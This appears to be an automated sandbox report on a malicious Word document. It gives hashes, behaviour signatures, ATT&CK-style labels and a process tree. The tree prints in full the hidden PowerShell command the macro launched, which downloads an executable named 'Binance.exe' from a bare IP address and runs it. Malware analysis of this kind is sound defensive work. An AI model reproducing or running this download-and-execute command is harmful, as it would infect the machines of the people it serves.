Analysis

  • max time kernel
    24s
  • max time network
    17s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    23-07-2024 21:49

General

  • Target

    bbf8492d595000ef5e1fabad172c0d5e5bfe6278c2661007dafd7ec17cd22411.doc

  • Size

    34KB

  • MD5

    08f3a287e579dda542a412b93ff64d97

  • SHA1

    04d2033efd8239389eacf4cd63ac53ae08c59676

  • SHA256

    bbf8492d595000ef5e1fabad172c0d5e5bfe6278c2661007dafd7ec17cd22411

  • SHA512

    9b93d7dbbb56b5dc29bd3df7e5a8c59bbc9263a73e4f9406f030772cc143591e4ce07a29a35ca5f0d2dc88fd595357e572d233b98484628f52134d81ccd09111

  • SSDEEP

    192:SUWDlaZZEvAA6/6rNavrgYjk+4bWl26bXxZcetg76Yd5OX8LU50jfU6raT:SUWDhiSwvxjk+t2IZltRK5+F50jK

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\bbf8492d595000ef5e1fabad172c0d5e5bfe6278c2661007dafd7ec17cd22411.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1712
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1696
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden "('http://13.48.10.153/Binance.exe')|foreach{$fileName=$env:temp+'\'+(Split-Path -Path $_ -Leaf);(new-object System.Net.WebClient).DownloadFile($_,$fileName);Invoke-Item $fileName;}"
        2⤵
        • Process spawned unexpected child process
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2960

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1712-0-0x000000002F801000-0x000000002F802000-memory.dmp

      Filesize

      4KB

    • memory/1712-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1712-2-0x000000007108D000-0x0000000071098000-memory.dmp

      Filesize

      44KB

    • memory/1712-6-0x0000000005A60000-0x0000000005B60000-memory.dmp

      Filesize

      1024KB

    • memory/1712-10-0x000000007108D000-0x0000000071098000-memory.dmp

      Filesize

      44KB

    • memory/1712-11-0x0000000005A60000-0x0000000005B60000-memory.dmp

      Filesize

      1024KB